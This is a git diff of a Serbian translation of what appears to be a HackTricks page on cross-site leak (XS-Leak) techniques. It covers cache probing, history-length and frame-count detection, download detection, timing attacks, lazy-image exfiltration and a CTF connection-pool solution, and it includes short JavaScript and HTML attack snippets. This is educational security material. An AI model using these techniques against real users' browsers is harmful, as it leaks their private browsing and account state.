XS-Leak može koristiti CSP za detekciju da li je sajt sa različitog porekla preusmeren na drugu domenu. Ova greška može detektovati preusmerenje, ali dodatno, domen odredišta preusmerenja se takođe otkriva. Osnovna ideja ovog napada je da **dozvoli ciljni domen na sajtu napadača**. Kada se pošalje zahtev ka ciljnog domenu, on **preusmerava** na domenu sa različitog porekla. **CSP blokira** pristup i kreira **izveštaj o kršenju koji se koristi kao tehnika curenja**. U zavisnosti od pregledača, **ovaj izveštaj može otkriti odredišnu lokaciju preusmerenja**.\
Moderni pregledači neće ukazati na URL na koji je preusmereno, ali i dalje možete detektovati da je preusmerenje sa različitog porekla pokrenuto.
### Keš
@ -508,7 +508,7 @@ Moderni pregledači neće ukazati na URL na koji je preusmereno, ali i dalje mo
- **Metode uključivanja**: Okviri, Pop-up prozori
- **Uočljiva razlika**: Sadržaj stranice
- **Više informacija**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
- **Sažetak:** Očistite datoteku iz keša. Otvara ciljanju stranicu i proverava da li je datoteka prisutna u kešu.
- **Sažetak:** Očistite datoteku iz keša. Otvara ciljanju stranicu proverava da li je datoteka prisutna u kešu.
- **Primer koda:**
Pregledači mogu koristiti jedan zajednički keš za sve vebsajtove. Bez obzira na njihov izvor, moguće je zaključiti da li je ciljana stranica **zahtevala određenu datoteku**.
@ -533,7 +533,7 @@ Nova funkcija u Google Chrome-u (GC) omogućava veb stranicama da **predlože Po
- **Sažetak:** Resursi zaštićeni Politikom Resursa sa Različitih Izvora (CORP) će izazvati grešku kada se preuzmu sa zabranjenog porekla.
- **Primer koda**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP header je relativno nova funkcija bezbednosti veb platforme koja kada je postavljena **blokira no-cors zahteve sa različitih izvora ka datom resursu**. Prisutnost header-a može se detektovati, jer resurs zaštićen CORP-om će **izazvati grešku kada se preuzme**.
CORP header je relativno nova funkcija bezbednosti veb platforme koja kada je postavljena **blokira no-cors zahteve sa različitih izvora za dati resurs**. Prisutnost header-a može se detektovati, jer resurs zaštićen CORP-om će **izazvati grešku kada se preuzme**.
### CORB
@ -586,9 +586,9 @@ Napadač može zaključiti prisustvo header-a Politike Otvorene Provere sa Razli
- **Sažetak:** Detektujte razlike u odgovorima jer dužina odgovora preusmerenja može biti prevelika da bi server odgovorio greškom i generisao upozorenje.
- **Primer koda**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Ako server-side preusmerenje koristi **korisnički unos unutar preusmeravanja** i **dodatne podatke**. Moguće je detektovati ovo ponašanje jer obično **serveri** imaju **ograničenje dužine zahteva**. Ako su **korisnički podaci** te **dužine - 1**, jer **preusmerenje** koristi **te podatke** i **dodaje** nešto **dodatno**, izazvaće **grešku koja se može detektovati putem događaja greške**.
Ako server-side preusmerenje koristi **korisnički unos unutar preusmerenja** i **dodatne podatke**. Moguće je detektovati ovo ponašanje jer obično **serveri** imaju **ograničenje dužine zahteva**. Ako su **korisnički podaci** te **dužine - 1**, jer **preusmerenje** koristi **te podatke** i **dodaje** nešto **dodatno**, izazvaće **grešku koja se može detektovati putem događaja greške**.
Ako možete nekako postaviti kolačiće korisniku, takođe možete izvesti ovaj napad postavljanjem dovoljno kolačića ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) tako da sa **povećanom veličinom odgovora** **ispravnog odgovora** bude izazvana **greška**. U ovom slučaju, zapamtite da ako pokrenete ovaj zahtev sa istog sajta, `<script>` će automatski poslati kolačiće (tako da možete proveriti greške).\
Ako možete nekako postaviti kolačiće korisniku, možete takođe izvršiti ovaj napad postavljanjem dovoljno kolačića ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) tako da sa **povećanom veličinom odgovora** **ispravnog odgovora** bude izazvana **greška**. U ovom slučaju, zapamtite da ako pokrenete ovaj zahtev sa istog sajta, `<script>` će automatski poslati kolačiće (tako da možete proveriti greške).\
Primer **cookie bomb + XS-Search** može se naći u predloženom rešenju ovog izveštaja: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` ili da bude u istom kontekstu obično je potrebno za ovu vrstu napada.
@ -607,15 +607,15 @@ Prema [Chromium dokumentaciji](https://chromium.googlesource.com/chromium/src/+/
Dakle, ako je **preusmereni URL veći u jednom od slučajeva**, moguće je napraviti da se preusmeri sa **URL-om većim od 2MB** kako bi se dostiglo **ograničenje dužine**. Kada se to dogodi, Chrome prikazuje stranicu **`about:blank#blocked`**.
**Uočljiva razlika** je da ako je **preusmerenje** bilo **završeno**, `window.origin` izaziva **grešku** jer sa različitog porekla ne može pristupiti tim informacijama. Međutim, ako je **ograničenje** \*\*\*\* dostignuto i učitana stranica je **`about:blank#blocked`**, **`origin`** prozora ostaje onaj od **roditelja**, što je **pristupačna informacija.**
**Uočljiva razlika** je da ako je **preusmerenje** bilo **završeno**, `window.origin` izaziva **grešku** jer se iz različitog porekla ne može pristupiti tim informacijama. Međutim, ako je **ograničenje** \*\*\*\* dostignuto i učitana stranica je **`about:blank#blocked`**, **`origin`** prozora ostaje onaj od **roditelja**, što je **pristupačna informacija.**
Sve dodatne informacije potrebne za dostizanje **2MB** mogu se dodati putem **hash-a** u inicijalnom URL-u tako da će biti **iskorišćene u preusmeravanju**.
Sve dodatne informacije potrebne za dostizanje **2MB** mogu se dodati putem **hash-a** u inicijalnom URL-u tako da će biti **iskorišćene u preusmerenju**.
{{#ref}}
url-max-length-client-side.md
{{#endref}}
### Maksimalni Preusmeraji
### Maksimalni preusmeravanja
- **Metode uključivanja**: Fetch API, Okviri
- **Uočljiva razlika**: Status kod
@ -623,9 +623,9 @@ url-max-length-client-side.md
- **Sažetak:** Iskoristite ograničenje preusmeravanja pregledača da utvrdite da li je došlo do URL preusmeravanja.
- **Primer koda**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Ako je **maksimalan** broj **preusmeravanja** koji pregledač može pratiti **20**, napadač bi mogao pokušati da učita svoju stranicu sa **19 preusmeravanja** i konačno **pošalje žrtvu** na testiranu stranicu. Ako se **greška** izazove, tada je stranica pokušavala da **preusmeri žrtvu**.
Ako je **maksimalan** broj **preusmeravanja** koji pregledač može pratiti **20**, napadač može pokušati da učita svoju stranicu sa **19 preusmeravanja** i konačno **pošalje žrtvu** na testiranu stranicu. Ako se **greška** izazove, tada je stranica pokušavala da **preusmeri žrtvu**.
### Dužina Istorije
### Dužina istorije
- **Metode uključivanja**: Okviri, Pop-up prozori
- **Uočljiva razlika**: Preusmeravanja
@ -636,14 +636,14 @@ Ako je **maksimalan** broj **preusmeravanja** koji pregledač može pratiti **20
**History API** omogućava JavaScript kodu da manipuliše istorijom pregledača, koja **čuva stranice koje je korisnik posetio**. Napadač može koristiti svojstvo dužine kao metodu uključivanja: da detektuje JavaScript i HTML navigaciju.\
**Proveravajući `history.length`**, navodeći korisnika da **navigira** na stranicu, **menjajući** je **nazad** na istog porekla i **proveravajući** novu vrednost **`history.length`**.
### Dužina Istorije sa istim URL-om
### Dužina istorije sa istim URL-om
- **Metode uključivanja**: Okviri, Pop-up prozori
- **Uočljiva razlika**: Ako je URL isti kao onaj koji se pogađa
- **Sažetak:** Moguće je pogoditi da li se lokacija okvira/pop-up-a nalazi na specifičnom URL-u zloupotrebljavajući dužinu istorije.
- **Primer koda**: Ispod
Napadač bi mogao koristiti JavaScript kod da **manipuliše lokacijom okvira/pop-up-a na pogodjenom URL-u** i **odmah** **promeni** na `about:blank`. Ako se dužina istorije povećala, to znači da je URL bio tačan i imao je vremena da **poveća jer se URL ne ponovo učitava ako je isti**. Ako se nije povećala, to znači da je **pokušao da učita pogodjeni URL**, ali zato što smo **odmah nakon** učitali **`about:blank`**, **dužina istorije nikada nije povećana** prilikom učitavanja pogodjenog URL-a.
Napadač bi mogao koristiti JavaScript kod da **manipuliše lokacijom okvira/pop-up-a na pogodjenom URL-u** i **odmah** **promeni** na `about:blank`. Ako se dužina istorije povećala, to znači da je URL bio tačan i imao je vremena da **poveća** jer se URL ne ponovo učitava ako je isti. Ako se nije povećala, to znači da je **pokušao da učita pogodjeni URL**, ali zato što smo **odmah nakon** učitali **`about:blank`**, **dužina istorije nikada nije povećana** prilikom učitavanja pogodjenog URL-a.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -672,7 +672,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
Brojanje **broja okvira na web** stranici otvorenoj putem `iframe` ili `window.open` može pomoći u identifikaciji **statusa korisnika na toj stranici**.\
Pored toga, ako stranica uvek ima isti broj okvira, kontinuirano proveravanje broja okvira može pomoći u identifikaciji **obraza** koji može otkriti informacije.
Jedan primer ove tehnike je da se u Chrome-u **PDF** može **otkriti** pomoću **brojanja okvira** jer se `embed` koristi interno. Postoje [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) koji omogućavaju određenu kontrolu nad sadržajem kao što su `zoom`, `view`, `page`, `toolbar` gde bi ova tehnika mogla biti zanimljiva.
Primer ove tehnike je da se u Chrome-u **PDF** može **otkriti** pomoću **brojanja okvira** jer se `embed` koristi interno. Postoje [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) koji omogućavaju određenu kontrolu nad sadržajem kao što su `zoom`, `view`, `page`, `toolbar` gde bi ova tehnika mogla biti zanimljiva.
### HTMLElements
@ -684,12 +684,12 @@ Jedan primer ove tehnike je da se u Chrome-u **PDF** može **otkriti** pomoću *
Curjenje informacija kroz HTML elemente je zabrinjavajuće u web bezbednosti, posebno kada se dinamički medijski fajlovi generišu na osnovu korisničkih informacija, ili kada se dodaju vodeni žigovi, menjajući veličinu medija. Ovo mogu iskoristiti napadači da razlikuju između mogućih stanja analizirajući informacije koje izlažu određeni HTML elementi.
### Informacije Otkrivene HTML Elementima
### Informacije Otkivene HTML Elementima
- **HTMLMediaElement**: Ovaj element otkriva `duration` i `buffered` vreme medija, koji se mogu pristupiti putem njegovog API-ja. [Pročitajte više o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLMediaElement**: Ovaj element otkriva `duration` i `buffered` vreme medija, koja se mogu pristupiti putem njegovog API-ja. [Pročitajte više o HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Otkriva `videoHeight` i `videoWidth`. U nekim pregledačima, dodatna svojstva kao što su `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, i `webkitDecodedFrameCount` su dostupna, nudeći dublje informacije o sadržaju medija. [Pročitajte više o HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Ova funkcija pruža detalje o kvalitetu reprodukcije videa, uključujući `totalVideoFrames`, što može ukazivati na količinu video podataka koji su obrađeni. [Pročitajte više o getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Ovaj element otkriva `height` i `width` slike. Međutim, ako je slika nevažeća, ova svojstva će vratiti 0, a funkcija `image.decode()` će biti odbijena, što ukazuje na neuspeh učitavanja slike. [Pročitajte više o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLImageElement**: Ovaj element otkriva `height` i `width` slike. Međutim, ako je slika nevažeća, ova svojstva će vratiti 0, a funkcija `image.decode()` će biti odbijena, što ukazuje na neuspeh učitavanja slike ispravno. [Pročitajte više o HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Svojstvo
@ -707,149 +707,7 @@ Kao tehnika curenja, napadač može koristiti `window.getComputedStyle` metodu d
- **Metode Uključivanja**: HTML elementi
- **Uočljiva Razlika**: Sadržaj stranice
- **Više informacija**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Sažetak:** Otkrivanje da li je stil `:visited` primenjen na URL koji ukazuje da je već posetjen
- **Primer Koda**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> Prema [**ovome**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), ovo ne funkcioniše u headless Chrome-u.
CSS `:visited` selektor se koristi za stilizovanje URL-ova drugačije ako su prethodno posetili korisnik. U prošlosti, `getComputedStyle()` metoda se mogla koristiti za identifikaciju ovih razlika u stilu. Međutim, moderni pregledači su implementirali bezbednosne mere kako bi sprečili ovu metodu da otkrije stanje linka. Ove mere uključuju uvek vraćanje izračunatog stila kao da je link posetjen i ograničavanje stilova koji se mogu primeniti sa `:visited` selektorom.
Uprkos ovim ograničenjima, moguće je indirektno razaznati posetjeno stanje linka. Jedna tehnika uključuje prevaru korisnika da interaguje sa područjem koje je pogođeno CSS-om, posebno koristeći `mix-blend-mode` svojstvo. Ovo svojstvo omogućava mešanje elemenata sa njihovom pozadinom, potencijalno otkrivajući posetjeno stanje na osnovu interakcije korisnika.
Pored toga, detekcija se može postići bez interakcije korisnika iskorišćavanjem vremena renderovanja linkova. Pošto pregledači mogu različito renderovati posetjene i nepovređene linkove, to može uvesti merljivu vremensku razliku u renderovanju. Dokaz koncepta (PoC) je pomenut u izveštaju o grešci u Chromium-u, demonstrirajući ovu tehniku koristeći više linkova kako bi pojačali vremensku razliku, čime se posetjeno stanje može otkriti analizom vremena.
Za više detalja o ovim svojstvima i metodama, posetite njihove stranice dokumentacije:
- `:visited`: [MDN Dokumentacija](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Dokumentacija](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Dokumentacija](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Curjenje
- **Metode Uključivanja**: Okviri
- **Uočljiva Razlika**: Zaglavlja
- **Više informacija**: [https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf)
- **Sažetak:** U Google Chrome-u, prikazuje se posvećena stranica greške kada je stranica blokirana od umetanja na stranici sa različitim poreklom zbog X-Frame-Options ograničenja.
- **Primer Koda**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
U Chrome-u, ako je stranica sa `X-Frame-Options` zaglavljem postavljenim na "deny" ili "same-origin" umetnuta kao objekat, pojavljuje se stranica greške. Chrome jedinstveno vraća prazan dokument objekat (umesto `null`) za `contentDocument` svojstvo ovog objekta, za razliku od iframe-ova ili drugih pregledača. Napadači bi mogli iskoristiti ovo otkrivajući prazan dokument, potencijalno otkrivajući informacije o stanju korisnika, posebno ako programeri dosledno ne postavljaju X-Frame-Options zaglavlje, često zanemarujući stranice greške. Svest i dosledna primena bezbednosnih zaglavlja su ključni za sprečavanje ovakvih curenja.
### Detekcija Preuzimanja
- **Metode Uključivanja**: Okviri, Pop-up prozori
- **Uočljiva Razlika**: Zaglavlja
- **Više informacija**: [https://xsleaks.dev/docs/attacks/navigations/#download-trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger)
- **Sažetak:** Napadač može razlikovati preuzimanja fajlova koristeći iframe; nastavak pristupa iframe-u implicira uspešno preuzimanje fajla.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` zaglavlje, posebno `Content-Disposition: attachment`, naređuje pregledaču da preuzme sadržaj umesto da ga prikaže unutar stranice. Ovo ponašanje se može iskoristiti za otkrivanje da li korisnik ima pristup stranici koja pokreće preuzimanje fajla. U Chromium-baziranim pregledačima, postoji nekoliko tehnika za detekciju ovog ponašanja preuzimanja:
1. **Praćenje Trake za Preuzimanje**:
- Kada se fajl preuzme u Chromium-baziranim pregledačima, traka za preuzimanje se pojavljuje na dnu prozora pregledača.
- Praćenjem promena u visini prozora, napadači mogu zaključiti da se traka za preuzimanje pojavila, sugerišući da je preuzimanje pokrenuto.
2. **Navigacija Preuzimanja sa Iframe-ima**:
- Kada stranica pokrene preuzimanje fajla koristeći `Content-Disposition: attachment` zaglavlje, to ne izaziva događaj navigacije.
- Učitavanjem sadržaja u iframe i praćenjem događaja navigacije, moguće je proveriti da li sadržaj uzrokuje preuzimanje fajla (nema navigacije) ili ne.
3. **Navigacija Preuzimanja bez Iframe-a**:
- Slično tehnici iframe-a, ova metoda uključuje korišćenje `window.open` umesto iframe-a.
- Praćenje događaja navigacije u novootvorenom prozoru može otkriti da li je preuzimanje fajla pokrenuto (nema navigacije) ili se sadržaj prikazuje unutar stranice (navigacija se dešava).
U scenarijima gde samo prijavljeni korisnici mogu pokrenuti takva preuzimanja, ove tehnike se mogu koristiti za indirektno zaključivanje o stanju autentifikacije korisnika na osnovu odgovora pregledača na zahtev za preuzimanje.
### Zaobilaženje Particionisanog HTTP Keša <a href="#partitioned-http-cache-bypass" id="partitioned-http-cache-bypass"></a>
- **Metode Uključivanja**: Pop-up prozori
- **Uočljiva Razlika**: Vreme
- **Više informacija**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass)
- **Sažetak:** Napadač može razlikovati preuzimanja fajlova koristeći iframe; nastavak pristupa iframe-u implicira uspešno preuzimanje fajla.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (iz [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
> [!WARNING]
> Ovo je razlog zašto je ova tehnika zanimljiva: Chrome sada ima **particionisanje keša**, a ključ keša nove otvorene stranice je: `(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx)`, ali ako otvorim ngrok stranicu i koristim fetch u njoj, ključ keša će biti: `(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)`, **ključ keša je različit**, tako da se keš ne može deliti. Više detalja možete pronaći ovde: [Sticanje bezbednosti i privatnosti deljenjem keša](https://developer.chrome.com/blog/http-cache-partitioning/)\
> (Komentar iz [**ovde**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
Ako sajt `example.com` uključuje resurs sa `*.example.com/resource`, tada će taj resurs imati **isti ključ keša** kao da je resurs direktno **zatražen kroz navigaciju na vrhunskom nivou**. To je zato što se ključ keša sastoji od vrhunskog _eTLD+1_ i okvira _eTLD+1_.
Pošto je pristup kešu brži od učitavanja resursa, moguće je pokušati da promenite lokaciju stranice i otkažete je 20ms (na primer) nakon toga. Ako je poreklo promenjeno nakon zaustavljanja, to znači da je resurs bio keširan.\
Ili možete jednostavno **poslati neki fetch na potencijalno keširanu stranicu i izmeriti vreme koje je potrebno**.
### Ručno Preusmeravanje <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Metode Uključivanja**: Fetch API
- **Uočljiva Razlika**: Preusmeravanja
- **Više informacija**: [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234)
- **Sažetak:** Moguće je saznati da li je odgovor na fetch zahtev preusmeravanje
- **Primer Koda**:
![](<../../images/image (769).png>)
### Fetch sa AbortController <a href="#fetch-with-abortcontroller" id="fetch-with-abortcontroller"></a>
- **Metode Uključivanja**: Fetch API
- **Uočljiva Razlika**: Vreme
- **Više informacija**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
- **Sažetak:** Moguće je pokušati učitati resurs i prekinuti pre nego što se učita. U zavisnosti od toga da li je došlo do greške, resurs je bio ili nije bio keširan.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller)
Koristite _**fetch**_ i _**setTimeout**_ sa **AbortController** da detektujete da li je **resurs keširan** i da izbacite određeni resurs iz keša pregledača. Pored toga, proces se odvija bez keširanja novog sadržaja.
### Zagađenje Skripti
- **Metode Uključivanja**: HTML elementi (skripta)
- **Uočljiva Razlika**: Sadržaj stranice
- **Više informacija**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
- **Sažetak:** Moguće je **prepisati ugrađene funkcije** i pročitati njihove argumente čak i iz **cross-origin skripti** (koje se ne mogu direktno pročitati), što može **otkriti dragocene informacije**.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/element-leaks/#script-tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag)
### Servisni Radnici <a href="#service-workers" id="service-workers"></a>
- **Metode Uključivanja**: Pop-up prozori
- **Uočljiva Razlika**: Sadržaj stranice
- **Više informacija**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers)
- **Sažetak:** Merenje vremena izvršenja web-a koristeći servisne radnike.
- **Primer Koda**:
U datom scenariju, napadač preuzima inicijativu da registruje **servisnog radnika** unutar jednog od svojih domena, konkretno "attacker.com". Zatim, napadač otvara novi prozor na ciljanom veb sajtu iz glavnog dokumenta i naređuje **servisnom radniku** da započne tajmer. Dok se novi prozor počinje učitavati, napadač navigira referencom dobijenom u prethodnom koraku na stranicu kojom upravlja **servisni radnik**.
Po dolasku zahteva pokrenutog u prethodnom koraku, **servisni radnik** odgovara sa **204 (No Content)** status kodom, efikasno prekidajući proces navigacije. U ovom trenutku, **servisni radnik** beleži merenje sa tajmera pokrenutog ranije u drugom koraku. Ovo merenje je pod uticajem trajanja JavaScript-a koji uzrokuje kašnjenja u procesu navigacije.
> [!WARNING]
> U merenju vremena izvršenja moguće je **eliminisati** **mrežne faktore** kako bi se dobila **preciznija merenja**. Na primer, učitavanjem resursa korišćenih na stranici pre njenog učitavanja.
### Fetch Vreme
- **Metode Uključivanja**: Fetch API
- **Uočljiva Razlika**: Vreme (generalno zbog Sadržaja Stranice, Status Koda)
- **Više informacija**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
- **Sažetak:** Koristite [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) za merenje vremena potrebnog za izvršavanje zahteva. Mogu se koristiti i drugi satovi.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks)
### Vreme između Prozora
- **Metode Uključivanja**: Pop-up prozori
- **Uočljiva Razlika**: Vreme (generalno zbog Sadržaja Stranice, Status Koda)
- **Više informacija**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
- **Sažetak:** Koristite [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) za merenje vremena potrebnog za izvršavanje zahteva koristeći `window.open`. Mogu se koristiti i drugi satovi.
- **Primer Koda**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks)
## Sa HTML ili Re Injekcijom
Ovde možete pronaći tehnike za eksfiltraciju informacija iz cross-origin HTML **ubacivanjem HTML sadržaja**. Ove tehnike su zanimljive u slučajevima kada iz bilo kog razloga možete **ubaciti HTML, ali ne možete ubaciti JS kod**.
### Opušteni Markup
{{#ref}}
../dangling-markup-html-scriptless-injection/
{{#endref}}
### Učitavanje Slika na Zahtev
Ako trebate **eksfiltrirati sadržaj** i možete **dodati HTML pre tajne**, trebali biste proveriti **uobičajene tehnike opuštenog markupa**.\
Međutim, ako iz bilo kog razloga **MORATE** to učiniti **karakter po karakter** (možda je komunikacija putem keširanja), možete koristiti ovu trik.
**Slike** u HTML-u imaju atribut "**loading**" čija vrednost može biti "**lazy**". U tom slučaju, slika će se učitati kada se pogleda, a ne dok se stranica učitava:
- **Sažetak:** Otkrivanje da li je stil `:visited` primen
```html
<img src=/something loading=lazy >
```
@ -874,7 +732,7 @@ Neki primer koda za iskorišćavanje ovoga: [https://gist.github.com/jorgectf/99
### Učitavanje slika na osnovu vremena
Ako **nije moguće učitati eksternu sliku** koja bi napadaču ukazala da je slika učitana, druga opcija bi bila da se pokuša **da se pogodi karakter nekoliko puta i meri to**. Ako se slika učita, svi zahtevi će trajati duže nego ako se slika ne učita. Ovo je korišćeno u [**rešenju ovog izveštaja**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sažeto ovde:**
Ako **nije moguće učitati eksternu sliku** koja bi mogla da označi napadaču da je slika učitana, druga opcija bi bila da se pokuša da se **pogodi karakter nekoliko puta i meri to**. Ako se slika učita, svi zahtevi bi trajali duže nego ako se slika ne učita. Ovo je korišćeno u [**rešenju ovog izveštaja**](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection/) **sažeto ovde:**
{{#ref}}
event-loop-blocking-+-lazy-images.md

View File

@ -10,13 +10,13 @@ connection-pool-by-destination-example.md
Hajde da vidimo kako ova eksploatacija funkcioniše:
- Napadač će ubrizgati belešku sa što više **`<img`** tagova **koji učitavaju** **`/js/purify.js`** koliko god je moguće (više od 6 da blokira izvor).
- Napadač će ubrizgati belešku sa što više **`<img`** tagova **koji učitavaju** **`/js/purify.js`** (više od 6 da blokira izvor).
- Zatim, napadač će **ukloniti** **belešku** sa indeksom 1.
- Zatim, napadač će \[napraviti da **bot pristupi stranici** sa preostalom beleškom] i poslaće **zahtev** na **`victim.com/js/purify.js`** koji će **meriti**.&#x20;
- Ako je vreme **veće**, **injekcija** je bila u **belešci** koja je ostala, ako je vreme **manje**, **zastavica** je bila tamo.
- Zatim, napadač će \[napraviti da **bot pristupi stranici** sa preostalom beleškom] i poslaće **zahtev** za **`victim.com/js/purify.js`** koji će **meriti**.&#x20;
- Ako je vreme **veće**, **injekcija** je bila u **belešci** koja je ostala, ako je vreme **manje**, **zastava** je bila tamo.
> [!NOTE]
> Iskreno, čitajući skriptu, propustio sam deo gde **napadač tera bota da učita stranicu kako bi aktivirao img tagove**, ne vidim ništa slično u kodu.
> Iskreno, čitajući skript, propustio sam deo gde **napadač tera bota da učita stranicu kako bi aktivirao img tagove**, ne vidim ništa slično u kodu.
```html
<html>
<head>

View File

@ -6,23 +6,23 @@
U izazovu [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic_) daje primer kako koristiti **varijaciju** tehnike **Connection Pool** za izvođenje **XS-Leak**.
U ovom izazovu, cilj je exfiltrirati zastavicu koja će se pojaviti u web sesiji bota unutar posta. Ovo su resursi koje napadač ima:
U ovom izazovu, cilj je exfiltrirati zastavu koja će se pojaviti u web sesiji bota unutar posta. Ovo su resursi koje napadač ima:
- **bot** će **posetiti** **URL** koji daje napadač
- Napadač može **ubaciti HTML** na stranicu (ali ne i JS, koristi se dompurify) zloupotrebljavajući **CSRF** kako bi **bot kreirao post** sa tim HTML-om.
- Napadač može zloupotrebiti CSRF da natera **bota** da **obriše** **prvi** **post** unutar web-a.
- Pošto su **postovi** poređani **abecedno**, kada se **prvi post obriše**, ako je **HTML** sadržaj napadača **učitan**, to znači da je bio **abecedno pre zastavice**.
- Pošto su **postovi** poređani **abecedno**, kada se **prvi post obriše**, ako je **HTML** sadržaj napadača **učitan**, to znači da je bio **abecedno pre zastave**.
Dakle, da bi ukrao zastavicu, rešenje koje predlaže @Strellic\_ je da, **za svaki karakter koji se testira** bot:
Dakle, da bi ukrao zastavu, rešenje koje predlaže @Strellic\_ je da, **za svaki karakter koji se testira** bot:
- Kreira **novi post** koji **počinje** sa poznatim delom **zastavice** i nekoliko **img** **učitavanja**.
- Kreira **novi post** koji **počinje** sa poznatim delom **zastave** i nekoliko **img** **učitavanja**.
- **Obriše** **post** na poziciji **0**.
- Blokira 255 soketa.
- Učitava stranicu sa postovima.
- Izvrši 5 nasumičnih zahteva ka sajtu (example.com u ovom slučaju) i meri vreme koje to zahteva.
> [!WARNING]
